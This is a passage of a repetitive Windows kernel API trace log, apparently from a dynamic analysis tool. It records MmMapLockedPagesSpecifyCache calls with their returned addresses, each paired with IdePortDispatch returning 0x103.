BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003418000 [0082.507] IdePortDispatch () returned 0x103 [0082.510] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0082.510] IdePortDispatch () returned 0x103 [0082.512] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a9000 [0082.512] IdePortDispatch () returned 0x103 [0082.514] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f1000 [0082.514] IdePortDispatch () returned 0x103 [0082.514] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f9000 [0082.515] IdePortDispatch () returned 0x103 [0082.515] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003511000 [0082.515] IdePortDispatch () returned 0x103 [0082.516] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003519000 [0082.516] IdePortDispatch () returned 0x103 [0082.516] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003521000 [0082.517] IdePortDispatch () returned 0x103 [0082.517] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003539000 [0082.517] IdePortDispatch () returned 0x103 [0082.518] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003551000 [0082.518] IdePortDispatch () returned 0x103 [0082.519] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003559000 [0082.519] IdePortDispatch () returned 0x103 [0082.519] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003561000 [0082.519] IdePortDispatch () returned 0x103 [0082.520] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003569000 [0082.520] IdePortDispatch () returned 0x103 [0082.523] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356d000 [0082.523] IdePortDispatch () returned 0x103 [0082.523] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003585000 [0082.523] IdePortDispatch () returned 0x103 [0082.524] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359d000 [0082.524] IdePortDispatch () returned 0x103 [0082.525] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a5000 [0082.525] IdePortDispatch () returned 0x103 [0082.526] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bd000 [0082.526] IdePortDispatch () returned 0x103 [0082.526] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c5000 [0082.526] IdePortDispatch () returned 0x103 [0082.527] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cd000 [0082.527] IdePortDispatch () returned 0x103 [0082.527] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d5000 [0082.527] IdePortDispatch () returned 0x103 [0082.527] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035dd000 [0082.528] IdePortDispatch () returned 0x103 [0082.528] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e5000 [0082.528] IdePortDispatch () returned 0x103 [0082.528] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0082.529] IdePortDispatch () returned 0x103 [0082.529] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b0d000 [0082.529] IdePortDispatch () returned 0x103 [0082.529] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b15000 [0082.529] IdePortDispatch () returned 0x103 [0082.530] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b1d000 [0082.530] IdePortDispatch () returned 0x103 [0082.533] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b1f000 [0082.533] IdePortDispatch () returned 0x103 [0082.533] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b27000 [0082.533] IdePortDispatch () returned 0x103 [0082.534] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b2f000 [0082.534] IdePortDispatch () returned 0x103 [0082.534] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b37000 [0082.535] IdePortDispatch () returned 0x103 [0082.535] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3f000 [0082.535] IdePortDispatch () returned 0x103 [0082.535] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b47000 [0082.535] IdePortDispatch () returned 0x103 [0082.536] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b4f000 [0082.536] IdePortDispatch () returned 0x103 [0082.536] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b57000 [0082.536] IdePortDispatch () returned 0x103 [0082.537] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b5f000 [0082.537] IdePortDispatch () returned 0x103 [0082.537] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b67000 [0082.537] IdePortDispatch () returned 0x103 [0082.538] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6f000 [0082.538] IdePortDispatch () returned 0x103 [0082.538] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b77000 [0082.538] IdePortDispatch () returned 0x103 [0082.539] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7f000 [0082.539] IdePortDispatch () returned 0x103 [0082.539] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b87000 [0082.539] IdePortDispatch () returned 0x103 [0082.540] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8f000 [0082.540] IdePortDispatch () returned 0x103 [0082.540] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b97000 [0082.540] IdePortDispatch () returned 0x103 [0082.541] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9f000 [0082.541] IdePortDispatch () returned 0x103 [0082.541] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba7000 [0082.541] IdePortDispatch () returned 0x103 [0082.542] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000baf000 [0082.542] IdePortDispatch () returned 0x103 [0082.542] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb9000 [0082.542] IdePortDispatch () returned 0x103 [0082.543] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc1000 [0082.543] IdePortDispatch () returned 0x103 [0082.543] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0082.543] IdePortDispatch () returned 0x103 [0082.543] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd1000 [0082.544] IdePortDispatch () returned 0x103 [0082.544] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd9000 [0082.544] IdePortDispatch () returned 0x103 [0082.550] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0082.550] IdePortDispatch () returned 0x103 [0082.551] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c08000 [0082.551] IdePortDispatch () returned 0x103 [0082.551] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c10000 [0082.552] IdePortDispatch () returned 0x103 [0082.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c18000 [0082.552] IdePortDispatch () returned 0x103 [0082.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c20000 [0082.553] IdePortDispatch () returned 0x103 [0082.553] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c28000 [0082.553] IdePortDispatch () returned 0x103 [0082.553] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c30000 [0082.554] IdePortDispatch () returned 0x103 [0082.554] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c38000 [0082.554] IdePortDispatch () returned 0x103 [0082.554] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c40000 [0082.555] IdePortDispatch () returned 0x103 [0082.555] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c48000 [0082.555] IdePortDispatch () returned 0x103 [0082.557] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c50000 [0082.557] IdePortDispatch () returned 0x103 [0082.557] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c58000 [0082.557] IdePortDispatch () returned 0x103 [0082.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c60000 [0082.558] IdePortDispatch () returned 0x103 [0082.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c68000 [0082.558] IdePortDispatch () returned 0x103 [0082.559] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c80000 [0082.559] IdePortDispatch () returned 0x103 [0082.559] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0082.559] IdePortDispatch () returned 0x103 [0082.560] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c90000 [0082.560] IdePortDispatch () returned 0x103 [0082.560] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c98000 [0082.560] IdePortDispatch () returned 0x103 [0082.561] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca0000 [0082.561] IdePortDispatch () returned 0x103 [0082.561] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca8000 [0082.561] IdePortDispatch () returned 0x103 [0082.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb0000 [0082.562] IdePortDispatch () returned 0x103 [0082.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb8000 [0082.562] IdePortDispatch () returned 0x103 [0082.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc0000 [0082.563] IdePortDispatch () returned 0x103 [0082.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc8000 [0082.563] IdePortDispatch () returned 0x103 [0082.564] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd0000 [0082.564] IdePortDispatch () returned 0x103 [0082.564] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd8000 [0082.564] IdePortDispatch () returned 0x103 [0082.565] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce0000 [0082.565] IdePortDispatch () returned 0x103 [0082.572] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce7000 [0082.572] IdePortDispatch () returned 0x103 [0082.586] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d0000 [0082.586] IdePortDispatch () returned 0x103 [0082.587] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d2000 [0082.588] IdePortDispatch () returned 0x103 [0082.599] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d39000 [0082.599] IdePortDispatch () returned 0x103 [0082.604] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0082.604] IdePortDispatch () returned 0x103 [0082.615] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b15000 [0082.616] IdePortDispatch () returned 0x103 [0082.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b48000 [0082.618] IdePortDispatch () returned 0x103 [0082.619] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6c000 [0082.619] IdePortDispatch () returned 0x103 [0082.620] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7f000 [0082.620] IdePortDispatch () returned 0x103 [0082.621] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b82000 [0082.621] IdePortDispatch () returned 0x103 [0082.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b95000 [0082.623] IdePortDispatch () returned 0x103 [0082.624] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b98000 [0082.624] IdePortDispatch () returned 0x103 [0082.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c51000 [0082.628] IdePortDispatch () returned 0x103 [0082.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0082.629] IdePortDispatch () returned 0x103 [0082.632] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd9000 [0082.632] IdePortDispatch () returned 0x103 [0082.634] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfc000 [0082.634] IdePortDispatch () returned 0x103 [0082.635] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cff000 [0082.635] IdePortDispatch () returned 0x103 [0082.636] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d02000 [0082.636] IdePortDispatch () returned 0x103 [0082.637] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1a000 [0082.637] IdePortDispatch () returned 0x103 [0082.652] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0082.652] IdePortDispatch () returned 0x103 [0082.653] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d8000 [0082.653] IdePortDispatch () returned 0x103 [0082.655] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b26000 [0082.655] IdePortDispatch () returned 0x103 [0082.656] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b2e000 [0082.656] IdePortDispatch () returned 0x103 [0082.665] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd0000 [0082.665] IdePortDispatch () returned 0x103 [0082.672] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003450000 [0082.673] IdePortDispatch () returned 0x103 [0082.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003482000 [0082.675] IdePortDispatch () returned 0x103 [0082.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348a000 [0082.675] IdePortDispatch () returned 0x103 [0082.676] MmMapLockedPagesSpecifyCache 